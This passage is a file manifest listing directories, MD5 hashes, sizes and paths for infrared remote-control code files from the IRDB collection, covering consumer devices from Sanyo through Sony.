-F:bc90926e9b4f2a12c2e65aceb0fb7faa:2869:infrared/_CSV-IRDB_/Sanyo/Unknown_RC-105C/54,-1.ir -F:77f6dbcc1c0008c3558afe32c4cbf4a4:2834:infrared/_CSV-IRDB_/Sanyo/Unknown_RC700/56,-1.ir -F:1404a50b556263b2ace249f54028d899:2855:infrared/_CSV-IRDB_/Sanyo/Unknown_Sanyo/49,-1.ir -F:d358991752748a4cf01f84a03fabf984:2078:infrared/_CSV-IRDB_/Sanyo/Unknown_Sanyo/56,-1.ir -F:044933be8975be515585a6d56036c3a3:2861:infrared/_CSV-IRDB_/Sanyo/Unknown_Sanyo-B13509/49,-1.ir -F:c160b3eb7456a4720eca4d0908d51ff5:2944:infrared/_CSV-IRDB_/Sanyo/Unknown_Sanyo-JXZB/56,-1.ir -F:fbc652eaa0960a84f75da2d88eab6090:1794:infrared/_CSV-IRDB_/Sanyo/Unknown_TV/56,-1.ir -F:b10200950310aa62e3380339bde1a083:2516:infrared/_CSV-IRDB_/Sanyo/Unknown_VCR/49,-1.ir -F:48875fa7c417a20789f8c118a77b46ab:2247:infrared/_CSV-IRDB_/Sanyo/Unknown_sanyo-tv01/56,-1.ir -F:1b253ed8ab731fa0ebb0d076c745d96c:2943:infrared/_CSV-IRDB_/Sanyo/Unknown_sanyoB13537/49,-1.ir -F:25e81091d2e9cb20a9e1a696fd6bcbe6:2138:infrared/_CSV-IRDB_/Sanyo/Video Projector/48,-1.ir -D:infrared/_CSV-IRDB_/Satelco/Sat -F:86feb03ce43c6f78bc8dd04221eb6b9b:4411:infrared/_CSV-IRDB_/Satelco/Sat/24,-1.ir -D:infrared/_CSV-IRDB_/Schneider/Unknown_FB2000 -D:infrared/_CSV-IRDB_/Schneider/Unknown_RC-193 -D:infrared/_CSV-IRDB_/Schneider/Unknown_RC202 -D:infrared/_CSV-IRDB_/Schneider/Unknown_RC901 -D:infrared/_CSV-IRDB_/Schneider/Unknown_RC902 -F:896fa8ef5cb36f98d7e92e489de68725:2760:infrared/_CSV-IRDB_/Schneider/Unknown_FB2000/5,-1.ir -F:100dee0319ccc1f733f1acea8b9a09d7:3834:infrared/_CSV-IRDB_/Schneider/Unknown_RC-193/154,-1.ir -F:836b9f40ef0e2149340048e7d7a904e4:2763:infrared/_CSV-IRDB_/Schneider/Unknown_RC202/11,11.ir -F:172335921b39c49e42c08ae66b25a7ba:3177:infrared/_CSV-IRDB_/Schneider/Unknown_RC901/28,-1.ir -F:3a3c53c4bf2efbd1964099421cd3b7e5:3187:infrared/_CSV-IRDB_/Schneider/Unknown_RC902/0,-1.ir -D:infrared/_CSV-IRDB_/Schwaiger/Unknown_DSR -F:23eccbba6f1b2b787afd17a67c80d7d9:3055:infrared/_CSV-IRDB_/Schwaiger/Unknown_DSR/0,-1.ir -D:infrared/_CSV-IRDB_/Scientific Atlanta/Cable Box -D:infrared/_CSV-IRDB_/Scientific Atlanta/Unknown_Atlanta-1840 -D:infrared/_CSV-IRDB_/Scientific Atlanta/Unknown_IV -D:infrared/_CSV-IRDB_/Scientific Atlanta/Unknown_RM9834 -D:infrared/_CSV-IRDB_/Scientific Atlanta/Unknown_SAE8000 -F:4fd5b03311d41acb8271c23b90f336d9:3025:infrared/_CSV-IRDB_/Scientific Atlanta/Cable Box/27,-1.ir -F:97747d3a95b73663d82220f11877e1e2:300:infrared/_CSV-IRDB_/Scientific Atlanta/Cable Box/71,-1.ir -F:8385a3fc040c21fd77fb50e9b510d4a7:3804:infrared/_CSV-IRDB_/Scientific Atlanta/Unknown_Atlanta-1840/27,-1.ir -F:7561eae1ba504b8ce095881b1d5f8353:3699:infrared/_CSV-IRDB_/Scientific Atlanta/Unknown_IV/27,-1.ir -F:c70cb94423ccb7d2b3cef92652648413:2436:infrared/_CSV-IRDB_/Scientific Atlanta/Unknown_RM9834/27,-1.ir -F:1c21e0c66bfb8b48ef541623212fc0da:4511:infrared/_CSV-IRDB_/Scientific Atlanta/Unknown_SAE8000/27,-1.ir -D:infrared/_CSV-IRDB_/Scott/Unknown_DVD-838 -D:infrared/_CSV-IRDB_/Scott/Unknown_scott-dvd -F:031d1d1660464672244c6def3dcb7b98:3665:infrared/_CSV-IRDB_/Scott/Unknown_DVD-838/8,-1.ir -F:03ff1b4ed5784906284582ca2629acf6:4295:infrared/_CSV-IRDB_/Scott/Unknown_scott-dvd/4,-1.ir -D:infrared/_CSV-IRDB_/Seleco/TV -F:d6df14da818f1de1151fa39abea3cd7e:1365:infrared/_CSV-IRDB_/Seleco/TV/0,-1.ir -F:56bdb628189b755b5398859cefe0e869:1333:infrared/_CSV-IRDB_/Seleco/TV/30,-1.ir -D:infrared/_CSV-IRDB_/Sencor/Unknown_SFN9011SL -F:2a3aac3f3f50183af3dc2c750d5b3441:574:infrared/_CSV-IRDB_/Sencor/Unknown_SFN9011SL/0,252.ir -D:infrared/_CSV-IRDB_/Sgi/Unknown_SGIMON -F:a7900371f31dc24284a359fde94f7c92:2018:infrared/_CSV-IRDB_/Sgi/Unknown_SGIMON/26,9.ir -D:infrared/_CSV-IRDB_/Sharp/DTV Decoder -D:infrared/_CSV-IRDB_/Sharp/Monitor -D:infrared/_CSV-IRDB_/Sharp/TV -D:infrared/_CSV-IRDB_/Sharp/Unknown_CV-2131CK1 -D:infrared/_CSV-IRDB_/Sharp/Unknown_G0048TA -D:infrared/_CSV-IRDB_/Sharp/Unknown_G0412GE -D:infrared/_CSV-IRDB_/Sharp/Unknown_G0938CESA -D:infrared/_CSV-IRDB_/Sharp/Unknown_G1014BMSA -D:infrared/_CSV-IRDB_/Sharp/Unknown_G1044BMSA -D:infrared/_CSV-IRDB_/Sharp/Unknown_GJ210 -D:infrared/_CSV-IRDB_/Sharp/Unknown_RRMCGA030WJSA -D:infrared/_CSV-IRDB_/Sharp/Unknown_SHARP -D:infrared/_CSV-IRDB_/Sharp/Unknown_sharp1781 -D:infrared/_CSV-IRDB_/Sharp/VCR -D:infrared/_CSV-IRDB_/Sharp/Video Projector -F:e62fd5727d75d801a137a5d374bbf7ee:215:infrared/_CSV-IRDB_/Sharp/DTV Decoder/1,-1.ir -F:f05623b8f2b4e25a63d13ecb703d12af:930:infrared/_CSV-IRDB_/Sharp/Monitor/1,-1.ir -F:43704dad95386ebcd8646f0cd9f45570:1984:infrared/_CSV-IRDB_/Sharp/TV/1,-1.ir -F:89c29e2ccd43275a6abae308c5b58d21:2067:infrared/_CSV-IRDB_/Sharp/Unknown_CV-2131CK1/1,-1.ir -F:c4cf504494cebb206941a1dd1c117384:1852:infrared/_CSV-IRDB_/Sharp/Unknown_G0048TA/19,-1.ir -F:7ce31d3ecfa489ddd2e1b7722b69650c:2113:infrared/_CSV-IRDB_/Sharp/Unknown_G0412GE/3,-1.ir -F:8f538bb4f634f77fff63c8733f27bb64:3444:infrared/_CSV-IRDB_/Sharp/Unknown_G0938CESA/1,-1.ir -F:14fb57cd889339d156c7a1001293ada1:3335:infrared/_CSV-IRDB_/Sharp/Unknown_G1014BMSA/1,-1.ir -F:1c37231bb4c78d6565dc7d609eb80643:3589:infrared/_CSV-IRDB_/Sharp/Unknown_G1044BMSA/1,-1.ir -F:2678939220f7182b143649a4154f3900:4528:infrared/_CSV-IRDB_/Sharp/Unknown_GJ210/0,189.ir -F:c5f78301eee24d3fd30e11c2eb45ee53:3765:infrared/_CSV-IRDB_/Sharp/Unknown_RRMCGA030WJSA/8,48.ir -F:bafae145d939189d9b422221048e6e0a:2261:infrared/_CSV-IRDB_/Sharp/Unknown_SHARP/1,-1.ir -F:a861759476e0304a653cb99d89cda84d:2120:infrared/_CSV-IRDB_/Sharp/Unknown_sharp1781/1,-1.ir -F:f571819bb0503442990efef410079254:2809:infrared/_CSV-IRDB_/Sharp/VCR/3,-1.ir -F:7fc9398b2550c66d6ea4a6294d2ba233:923:infrared/_CSV-IRDB_/Sharp/Video Projector/13,-1.ir -D:infrared/_CSV-IRDB_/Sharpsat/Unknown_T28 -F:7c81239dfd8ece38d4db8993570493fb:1962:infrared/_CSV-IRDB_/Sharpsat/Unknown_T28/128,38.ir -D:infrared/_CSV-IRDB_/Sherwood/Receiver -D:infrared/_CSV-IRDB_/Sherwood/Unknown_GC-1285 -D:infrared/_CSV-IRDB_/Sherwood/Unknown_RM-101 -D:infrared/_CSV-IRDB_/Sherwood/Unknown_RM-636 -D:infrared/_CSV-IRDB_/Sherwood/Unknown_RM-RV-N25 -D:infrared/_CSV-IRDB_/Sherwood/Unknown_Sherwood-S2770R-CP-II -D:infrared/_CSV-IRDB_/Sherwood/Unknown_sherwood -F:29a834bd34ceb965ff63b7c037fc9f66:1223:infrared/_CSV-IRDB_/Sherwood/Receiver/131,69.ir -F:356ef74438bf24342d242ade5c93340d:3191:infrared/_CSV-IRDB_/Sherwood/Unknown_GC-1285/129,114.ir -F:65b439cb3f2ca13348b62481cfb4cd34:2759:infrared/_CSV-IRDB_/Sherwood/Unknown_RM-101/69,131.ir -F:283bb1051369f3399e365a0fcf5ad5b6:4992:infrared/_CSV-IRDB_/Sherwood/Unknown_RM-636/131,68.ir -F:bfe3b548b744435960ae7185ed6c3f90:5954:infrared/_CSV-IRDB_/Sherwood/Unknown_RM-RV-N25/131,68.ir -F:919ecb22e3b59d8c9d0a71cc19a44610:3916:infrared/_CSV-IRDB_/Sherwood/Unknown_Sherwood-S2770R-CP-II/129,123.ir -F:452ab37db1c06051b4fd60b8f0c792c1:1975:infrared/_CSV-IRDB_/Sherwood/Unknown_sherwood/129,122.ir -F:97d5b3f0a4fd805b63838d272f25524d:4295:infrared/_CSV-IRDB_/Sherwood/Unknown_sherwood/131,69.ir -D:infrared/_CSV-IRDB_/Shinco/Unknown_RC-1730 -F:9d757934cbee4fc29639a29e5be7c92e:3671:infrared/_CSV-IRDB_/Shinco/Unknown_RC-1730/0,153.ir -D:infrared/_CSV-IRDB_/Shuttle/Unknown_mceusb -F:df95835a8e2ce300f27b5e7fd327e620:4591:infrared/_CSV-IRDB_/Shuttle/Unknown_mceusb/4,15.ir -D:infrared/_CSV-IRDB_/Siemens/Unknown_fb405 -D:infrared/_CSV-IRDB_/Siemens/Unknown_siemens-fb400 -D:infrared/_CSV-IRDB_/Siemens/Unknown_siemens1 -F:1542013aa2623676326033a4a7eb6685:2098:infrared/_CSV-IRDB_/Siemens/Unknown_fb405/134,84.ir -F:2bd5b1dc143eae5172a7c542556ccadd:3659:infrared/_CSV-IRDB_/Siemens/Unknown_siemens-fb400/131,89.ir -F:072264edafc502e8ce3d96902797640a:3382:infrared/_CSV-IRDB_/Siemens/Unknown_siemens1/49,-1.ir -D:infrared/_CSV-IRDB_/Sigma Designs/DVD Player -D:infrared/_CSV-IRDB_/Sigma Designs/Unknown_SIR -F:2ee0bccde7c74a0c5a07ed2f9f59808a:3225:infrared/_CSV-IRDB_/Sigma Designs/DVD Player/128,-1.ir -F:4513d79250ab307035a289e6d0284339:3317:infrared/_CSV-IRDB_/Sigma Designs/Unknown_SIR/128,-1.ir -D:infrared/_CSV-IRDB_/Sigmatek/Unknown_X100 -D:infrared/_CSV-IRDB_/Sigmatek/Unknown_XMB-510-PRO -F:8bf9ac56215cadcb36a4ad85d8e28441:3671:infrared/_CSV-IRDB_/Sigmatek/Unknown_X100/8,-1.ir -F:9a4f32562e8dbbfd16737fa28d31aba6:4092:infrared/_CSV-IRDB_/Sigmatek/Unknown_XMB-510-PRO/8,-1.ir -D:infrared/_CSV-IRDB_/Silvercrest/Unknown_RCH7S52 -D:infrared/_CSV-IRDB_/Silvercrest/Unknown_URC-801 -F:3efd6e4f11000fa810a4eba10c6fcfbc:3483:infrared/_CSV-IRDB_/Silvercrest/Unknown_RCH7S52/32,-1.ir -F:7c9b825ee507f029e134e4a67f77982e:4131:infrared/_CSV-IRDB_/Silvercrest/Unknown_URC-801/4,15.ir -D:infrared/_CSV-IRDB_/Sirius/Unknown_SBKB-3201KR -D:infrared/_CSV-IRDB_/Sirius/Unknown_ST2 -D:infrared/_CSV-IRDB_/Sirius/Unknown_Sportster -F:65fc860846bd0f840bf14d47f8e4608e:2051:infrared/_CSV-IRDB_/Sirius/Unknown_SBKB-3201KR/128,-1.ir -F:dd67ad24f1495abec61ca8182cc9a9a1:2520:infrared/_CSV-IRDB_/Sirius/Unknown_ST2/0,-1.ir -F:0b4b606c2ae643a5a488314571760526:2223:infrared/_CSV-IRDB_/Sirius/Unknown_Sportster/1,-1.ir -D:infrared/_CSV-IRDB_/Sitronics/Unknown_RC-D010E -F:f6ef3ead2605f404f281f912a4f6c75d:4367:infrared/_CSV-IRDB_/Sitronics/Unknown_RC-D010E/0,251.ir -D:infrared/_CSV-IRDB_/Sky/Unknown_DVB-S -D:infrared/_CSV-IRDB_/Sky/Unknown_rev.4 -F:6a428ffde0d291623e7499544b9b5a0e:3408:infrared/_CSV-IRDB_/Sky/Unknown_DVB-S/0,12.ir -F:e01eae9a3e85697d9a94a470bf348951:861:infrared/_CSV-IRDB_/Sky/Unknown_rev.4/0,0.ir -D:infrared/_CSV-IRDB_/Skymaster/Unknown_2421 -D:infrared/_CSV-IRDB_/Skymaster/Unknown_2424 -D:infrared/_CSV-IRDB_/Skymaster/Unknown_DCI -D:infrared/_CSV-IRDB_/Skymaster/Unknown_SkymasterXLS99 -D:infrared/_CSV-IRDB_/Skymaster/Unknown_XL10 -D:infrared/_CSV-IRDB_/Skymaster/Unknown_skymaster -F:ab014148873f7ce5f499b5e6323d8514:5690:infrared/_CSV-IRDB_/Skymaster/Unknown_2421/2,-1.ir -F:dd5905031e3c7beb8bc40ebdc2794efa:2494:infrared/_CSV-IRDB_/Skymaster/Unknown_2424/37,250.ir -F:a21f9043fd5a5b759e6b8df470e2b88e:3134:infrared/_CSV-IRDB_/Skymaster/Unknown_DCI/5,-1.ir -F:6fd3bdeda55218094046aaac1b67be08:1263:infrared/_CSV-IRDB_/Skymaster/Unknown_SkymasterXLS99/19,1.ir -F:93bb38ba8b70b0f1b077dfc31ed64b8a:2175:infrared/_CSV-IRDB_/Skymaster/Unknown_XL10/6,-1.ir -F:a6cf99cff7eb0477b9a6b064cf055f5a:2764:infrared/_CSV-IRDB_/Skymaster/Unknown_skymaster/19,1.ir -D:infrared/_CSV-IRDB_/Slim Art/Unknown_SA-100 -F:fef65f9c781a5b88780d02e1b6794eb4:4392:infrared/_CSV-IRDB_/Slim Art/Unknown_SA-100/0,-1.ir -D:infrared/_CSV-IRDB_/Slim Devices/Unknown_Devices -F:aef4eda187f8d6c368ee04e4523f47a3:2783:infrared/_CSV-IRDB_/Slim Devices/Unknown_Devices/110,-1.ir -D:infrared/_CSV-IRDB_/SnapStream/Unknown_Firefly-Mini -F:38086c280a9acb0befaf078e2f46b131:3159:infrared/_CSV-IRDB_/SnapStream/Unknown_Firefly-Mini/0,-1.ir -D:infrared/_CSV-IRDB_/Snazio/Unknown_Net -F:279afb2c148d99611ce0ab652a5a4f4b:4129:infrared/_CSV-IRDB_/Snazio/Unknown_Net/8,230.ir -D:infrared/_CSV-IRDB_/Snell/Speaker -F:ead008d82fe200cae312e1879db60996:1080:infrared/_CSV-IRDB_/Snell/Speaker/80,0.ir -D:infrared/_CSV-IRDB_/Sonance/Distributed Audio -D:infrared/_CSV-IRDB_/Sonance/System Controller -F:ab30c870c8acc16e4c0cc3c4bed942ab:2245:infrared/_CSV-IRDB_/Sonance/Distributed Audio/0,90.ir -F:75a76eabed59231e29f73a48c21dcb19:1076:infrared/_CSV-IRDB_/Sonance/System Controller/132,132.ir -D:infrared/_CSV-IRDB_/Sonicview/Unknown_SV-360 -F:b12aaf9c2e6cac6399847d2efa54296a:4294:infrared/_CSV-IRDB_/Sonicview/Unknown_SV-360/15,-1.ir -D:infrared/_CSV-IRDB_/Sony/Boombox -D:infrared/_CSV-IRDB_/Sony/CD Changer -D:infrared/_CSV-IRDB_/Sony/CD Jukebox -D:infrared/_CSV-IRDB_/Sony/CD Player -D:infrared/_CSV-IRDB_/Sony/Cassette Tape -D:infrared/_CSV-IRDB_/Sony/DAT -D:infrared/_CSV-IRDB_/Sony/DSP -D:infrared/_CSV-IRDB_/Sony/DSS -D:infrared/_CSV-IRDB_/Sony/DV Cam -D:infrared/_CSV-IRDB_/Sony/DVD Player -D:infrared/_CSV-IRDB_/Sony/Digital Recorder -D:infrared/_CSV-IRDB_/Sony/Laser Disc -D:infrared/_CSV-IRDB_/Sony/Mini-Disc -D:infrared/_CSV-IRDB_/Sony/Pre-Amplifier -D:infrared/_CSV-IRDB_/Sony/Receiver -D:infrared/_CSV-IRDB_/Sony/Surround Processor -D:infrared/_CSV-IRDB_/Sony/TV -D:infrared/_CSV-IRDB_/Sony/TiVo -D:infrared/_CSV-IRDB_/Sony/Unknown_870 -D:infrared/_CSV-IRDB_/Sony/Unknown_CD -D:infrared/_CSV-IRDB_/Sony/Unknown_CDIR -D:infrared/_CSV-IRDB_/Sony/Unknown_CDP-790 -D:infrared/_CSV-IRDB_/Sony/Unknown_D1000 -D:infrared/_CSV-IRDB_/Sony/Unknown_DAT -D:infrared/_CSV-IRDB_/Sony/Unknown_DVD -D:infrared/_CSV-IRDB_/Sony/Unknown_RM-687C -D:infrared/_CSV-IRDB_/Sony/Unknown_RM-860 -D:infrared/_CSV-IRDB_/Sony/Unknown_RM-861 -D:infrared/_CSV-IRDB_/Sony/Unknown_RM-873 -D:infrared/_CSV-IRDB_/Sony/Unknown_RM-D190 -D:infrared/_CSV-IRDB_/Sony/Unknown_RM-D270 -D:infrared/_CSV-IRDB_/Sony/Unknown_RM-D295 -D:infrared/_CSV-IRDB_/Sony/Unknown_RM-D302 -D:infrared/_CSV-IRDB_/Sony/Unknown_RM-D320 -D:infrared/_CSV-IRDB_/Sony/Unknown_RM-D325 -D:infrared/_CSV-IRDB_/Sony/Unknown_RM-D391 -D:infrared/_CSV-IRDB_/Sony/Unknown_RM-D520 -D:infrared/_CSV-IRDB_/Sony/Unknown_RM-D55 -D:infrared/_CSV-IRDB_/Sony/Unknown_RM-D690 -D:infrared/_CSV-IRDB_/Sony/Unknown_RM-D706 -D:infrared/_CSV-IRDB_/Sony/Unknown_RM-D797 -D:infrared/_CSV-IRDB_/Sony/Unknown_RM-D7M -D:infrared/_CSV-IRDB_/Sony/Unknown_RM-D820 -D:infrared/_CSV-IRDB_/Sony/Unknown_RM-D90 -D:infrared/_CSV-IRDB_/Sony/Unknown_RM-D921 -D:infrared/_CSV-IRDB_/Sony/Unknown_RM-D991 -D:infrared/_CSV-IRDB_/Sony/Unknown_RM-DM7 -D:infrared/_CSV-IRDB_/Sony/Unknown_RM-DX740 -D:infrared/_CSV-IRDB_/Sony/Unknown_RM-ED019 -D:infrared/_CSV-IRDB_/Sony/Unknown_RM-PJP1 -D:infrared/_CSV-IRDB_/Sony/Unknown_RM-SG20 -D:infrared/_CSV-IRDB_/Sony/Unknown_RM-SG5 -D:infrared/_CSV-IRDB_/Sony/Unknown_RM-SG7 -D:infrared/_CSV-IRDB_/Sony/Unknown_RM-V211T -D:infrared/_CSV-IRDB_/Sony/Unknown_RM-W101 -D:infrared/_CSV-IRDB_/Sony/Unknown_RM-X30 -D:infrared/_CSV-IRDB_/Sony/Unknown_RM-X40 -D:infrared/_CSV-IRDB_/Sony/Unknown_RM-X42 -D:infrared/_CSV-IRDB_/Sony/Unknown_RM-X47 -D:infrared/_CSV-IRDB_/Sony/Unknown_RM-Y155B -D:infrared/_CSV-IRDB_/Sony/Unknown_RM-Y173 -D:infrared/_CSV-IRDB_/Sony/Unknown_RM-Y180 -D:infrared/_CSV-IRDB_/Sony/Unknown_RM-Y800 -D:infrared/_CSV-IRDB_/Sony/Unknown_RM-Y812 -D:infrared/_CSV-IRDB_/Sony/Unknown_RMT-136 -D:infrared/_CSV-IRDB_/Sony/Unknown_RMT-506 -D:infrared/_CSV-IRDB_/Sony/Unknown_RMT-B101A -D:infrared/_CSV-IRDB_/Sony/Unknown_RMT-CF1A -D:infrared/_CSV-IRDB_/Sony/Unknown_RMT-D115P -D:infrared/_CSV-IRDB_/Sony/Unknown_RMT-D126A -D:infrared/_CSV-IRDB_/Sony/Unknown_RMT-D126E -D:infrared/_CSV-IRDB_/Sony/Unknown_RMT-D129A -D:infrared/_CSV-IRDB_/Sony/Unknown_RMT-DSC2 -D:infrared/_CSV-IRDB_/Sony/Unknown_RMT-V107 -D:infrared/_CSV-IRDB_/Sony/Unknown_RMT-V270 -D:infrared/_CSV-IRDB_/Sony/Unknown_RMT-V501A -D:infrared/_CSV-IRDB_/Sony/Unknown_SONY -D:infrared/_CSV-IRDB_/Sony/Unknown_TUNER -D:infrared/_CSV-IRDB_/Sony/Unknown_VPL-W400 -D:infrared/_CSV-IRDB_/Sony/Unknown_VaioRemote -D:infrared/_CSV-IRDB_/Sony/Unknown_lircd.conf -D:infrared/_CSV-IRDB_/Sony/Unknown_rm-d10p -D:infrared/_CSV-IRDB_/Sony/Unknown_rm-d29m -D:infrared/_CSV-IRDB_/Sony/Unknown_rm-d5 -D:infrared/_CSV-IRDB_/Sony/Unknown_rm-dm9 -D:infrared/_CSV-IRDB_/Sony/Unknown_rm-x95 -D:infrared/_CSV-IRDB_/Sony/Unknown_sony-cd -D:infrared/_CSV-IRDB_/Sony/Unknown_sonyRM-sep303 -D:infrared/_CSV-IRDB_/Sony/Unknown_sonytv -D:infrared/_CSV-IRDB_/Sony/Unknown_tv -D:infrared/_CSV-IRDB_/Sony/VCR -D:infrared/_CSV-IRDB_/Sony/Video Projector -F:6416902f39fdded81ff0fd90f5c2cad6:1808:infrared/_CSV-IRDB_/Sony/Boombox/100,-1.ir -F:4ae14bb3dc0249fa6b947c6b39596b39:825:infrared/_CSV-IRDB_/Sony/Boombox/68,-1.ir -F:f34f37c69486472ddde401cbcc110e36:446:infrared/_CSV-IRDB_/Sony/CD Changer/17,-1.ir -F:d2f4d927bc37ad39c02c72259d65c88f:126:infrared/_CSV-IRDB_/Sony/CD Jukebox/1,-1.ir -F:fc24ad195d8cf572de23d7f2c22fb1f2:12177:infrared/_CSV-IRDB_/Sony/CD Jukebox/17,-1.ir -F:a110aa4dde8985c57b5b581033d04aa8:118:infrared/_CSV-IRDB_/Sony/CD Jukebox/23,-1.ir -F:10f731bcdb151173959f52003bf39a54:129:infrared/_CSV-IRDB_/Sony/CD Jukebox/26,153.ir -F:e5431739c6eb3ee942e63700ce1c1dd0:118:infrared/_CSV-IRDB_/Sony/CD Jukebox/36,-1.ir -F:ba01b6c35eb81e8580a83c3bdef51f30:3324:infrared/_CSV-IRDB_/Sony/CD Jukebox/57,-1.ir -F:24e5c5463e72314e011d61ed33a93afa:3588:infrared/_CSV-IRDB_/Sony/CD Jukebox/81,-1.ir -F:d2f4d927bc37ad39c02c72259d65c88f:126:infrared/_CSV-IRDB_/Sony/CD Player/1,-1.ir -F:665847bfb8d858e96ce09516a013aea5:14497:infrared/_CSV-IRDB_/Sony/CD Player/17,-1.ir -F:c8848640f4e717d4ec90623bf9bc53a5:6015:infrared/_CSV-IRDB_/Sony/CD Player/57,-1.ir -F:70a80c4814809e26c60ebcc282d88814:6108:infrared/_CSV-IRDB_/Sony/CD Player/81,-1.ir -F:dbe68954185bfd315f49c6a163a339da:1122:infrared/_CSV-IRDB_/Sony/Cassette Tape/14,-1.ir -F:6421857768257514e6ccc3a656aa41dc:744:infrared/_CSV-IRDB_/Sony/Cassette Tape/16,-1.ir -F:fb4c5dab5efabb714b61227132a069fa:2653:infrared/_CSV-IRDB_/Sony/DAT/28,-1.ir -F:84a6f7e224bcfe3214bad8a2b6002ea6:2545:infrared/_CSV-IRDB_/Sony/DSP/26,233.ir -F:b1bf4976ecd8173950d63ee454528de3:734:infrared/_CSV-IRDB_/Sony/DSS/1,-1.ir -F:8e0e9951c10c174dab95b49b5da5d672:124:infrared/_CSV-IRDB_/Sony/DSS/11,-1.ir -F:11fe4f69b6dc58ca0da9a15ff6ffc7d7:9455:infrared/_CSV-IRDB_/Sony/DSS/183,-1.ir -F:ac5f11dce490b722010ec2b4999e164d:2980:infrared/_CSV-IRDB_/Sony/DSS/23,133.ir -F:286ef7d430510d154f5883ce68837fe0:217:infrared/_CSV-IRDB_/Sony/DSS/3,-1.ir -F:242f124b78ebc8070d0cf6e3a2d92523:126:infrared/_CSV-IRDB_/Sony/DSS/5,1.ir -F:7448b8ab1bd991308b0799bf724710e7:389:infrared/_CSV-IRDB_/Sony/DSS/64,-1.ir -F:44b4ac0daf7bb156e8708227581e72f8:396:infrared/_CSV-IRDB_/Sony/DV Cam/185,-1.ir -F:b4874c4115263254fd7c079752a1bd5f:218:infrared/_CSV-IRDB_/Sony/DV Cam/217,-1.ir -F:ff52b539e0f4b0ad988c3dd85719a6bc:1276:infrared/_CSV-IRDB_/Sony/DV Cam/7,-1.ir -F:6f8b5fa6cd4ccf4aef08b0263de834c5:392:infrared/_CSV-IRDB_/Sony/DVD Player/1,-1.ir -F:32b1a8ee63db8e3e0d913e0c76b64757:127:infrared/_CSV-IRDB_/Sony/DVD Player/164,-1.ir -F:6aaaef08459a5ff9ad6978b47e71e5a9:1381:infrared/_CSV-IRDB_/Sony/DVD Player/26,218.ir -F:acc0b90be0e9796eb6bb8893d5173e01:18166:infrared/_CSV-IRDB_/Sony/DVD Player/26,73.ir -F:442f28a6b979e69f33704f63a0f8d706:4038:infrared/_CSV-IRDB_/Sony/DVD Player/26,83.ir -F:6943dd7c122815b7942b3a78b109eeb6:3388:infrared/_CSV-IRDB_/Sony/DVD Player/26,98.ir -F:6c580c1d18872d617a117d6d18e1d014:134:infrared/_CSV-IRDB_/Sony/DVD Player/4,-1.ir -F:8bebc0300dc29584da02bdc960b38503:300:infrared/_CSV-IRDB_/Sony/Digital Recorder/1,-1.ir -F:1dc1ea5b083405cfae89e3d25613af08:2889:infrared/_CSV-IRDB_/Sony/Digital Recorder/26,154.ir -F:e7c1cb199f75df489fbaa43197b0e6ad:1851:infrared/_CSV-IRDB_/Sony/Digital Recorder/26,73.ir -F:280354a068bb9a3dc465ffb7ff6aa957:661:infrared/_CSV-IRDB_/Sony/Digital Recorder/26,98.ir -F:4ebda18e9dc636dfe75c43efe95fc27c:4607:infrared/_CSV-IRDB_/Sony/Laser Disc/6,-1.ir -F:46cd669c4fb51ceef7bec9a3dc99232e:6728:infrared/_CSV-IRDB_/Sony/Mini-Disc/15,-1.ir -F:e64a4c0f5c2228a2d0fcff2ab8c5eb10:388:infrared/_CSV-IRDB_/Sony/Mini-Disc/17,-1.ir -F:91157c967ae26a09414a03fbce25d2a1:118:infrared/_CSV-IRDB_/Sony/Pre-Amplifier/11,-1.ir -F:a3094439a165536cf3dd376e232cf81e:1020:infrared/_CSV-IRDB_/Sony/Pre-Amplifier/12,-1.ir -F:f29e6f5f2ef2efa397287c5361d4e7fc:1879:infrared/_CSV-IRDB_/Sony/Pre-Amplifier/144,-1.ir -F:ea7ad3d16349a8aac48ad1e23c33c6bf:118:infrared/_CSV-IRDB_/Sony/Pre-Amplifier/15,-1.ir -F:75017fb506902030c962291dc1687614:3385:infrared/_CSV-IRDB_/Sony/Pre-Amplifier/16,-1.ir -F:abfd763f583032c699ceea1952af75c0:118:infrared/_CSV-IRDB_/Sony/Pre-Amplifier/17,-1.ir -F:0431fd9adb29f00b38252fe79185b7eb:1028:infrared/_CSV-IRDB_/Sony/Pre-Amplifier/18,-1.ir -F:514677be455e168696ff7a2cd6133696:118:infrared/_CSV-IRDB_/Sony/Pre-Amplifier/183,-1.ir -F:e6f30759647ddeed7988f9d543613fce:118:infrared/_CSV-IRDB_/Sony/Pre-Amplifier/2,-1.ir -F:0d35bfbd8b0d65e96dd430a60a3a10cb:1900:infrared/_CSV-IRDB_/Sony/Pre-Amplifier/20,-1.ir -F:7bcd72a0705dcf1addc88ef2a9c69e65:3115:infrared/_CSV-IRDB_/Sony/Pre-Amplifier/23,-1.ir -F:0d62edd45609cc5a8020df05bfffef21:1487:infrared/_CSV-IRDB_/Sony/Pre-Amplifier/26,66.ir -F:1bc57447d2ae631dc075aae6e385bed5:118:infrared/_CSV-IRDB_/Sony/Pre-Amplifier/26,73.ir -F:dbb1c742937fd03e5c924a59dd045ab6:4015:infrared/_CSV-IRDB_/Sony/Pre-Amplifier/36,-1.ir -F:bf9005f148f58d453211ddf92a2cdc52:118:infrared/_CSV-IRDB_/Sony/Pre-Amplifier/6,-1.ir -F:d6f13bd03288885bfed1b5a420c016bf:118:infrared/_CSV-IRDB_/Sony/Pre-Amplifier/7,-1.ir -F:c38bcdd1c9b9fe93c6b9121b22e89496:1436:infrared/_CSV-IRDB_/Sony/Receiver/1,-1.ir -F:27a0cb47e637376f2c6218f4d8657814:827:infrared/_CSV-IRDB_/Sony/Receiver/11,-1.ir -F:5c82351dda07d3710824671226bc3837:2419:infrared/_CSV-IRDB_/Sony/Receiver/12,-1.ir -F:0d1cc9a619ef111bd04e503cc2fc8d37:2018:infrared/_CSV-IRDB_/Sony/Receiver/121,-1.ir -F:2b046c10dcad4a3d7661d40158b33a3f:5359:infrared/_CSV-IRDB_/Sony/Receiver/13,-1.ir -F:b425ece3cf639f09bde74b0715391f44:2841:infrared/_CSV-IRDB_/Sony/Receiver/144,-1.ir -F:f5ce727381e846c1d2800953cf65afe7:1114:infrared/_CSV-IRDB_/Sony/Receiver/15,-1.ir -F:7a428065ae7dbc7c32debde06814ec0d:8035:infrared/_CSV-IRDB_/Sony/Receiver/16,-1.ir -F:91906673e8514533ff825df7a157fb14:480:infrared/_CSV-IRDB_/Sony/Receiver/17,-1.ir -F:8591e0f5107f221d53b1859ed88ecfcb:1001:infrared/_CSV-IRDB_/Sony/Receiver/176,-1.ir 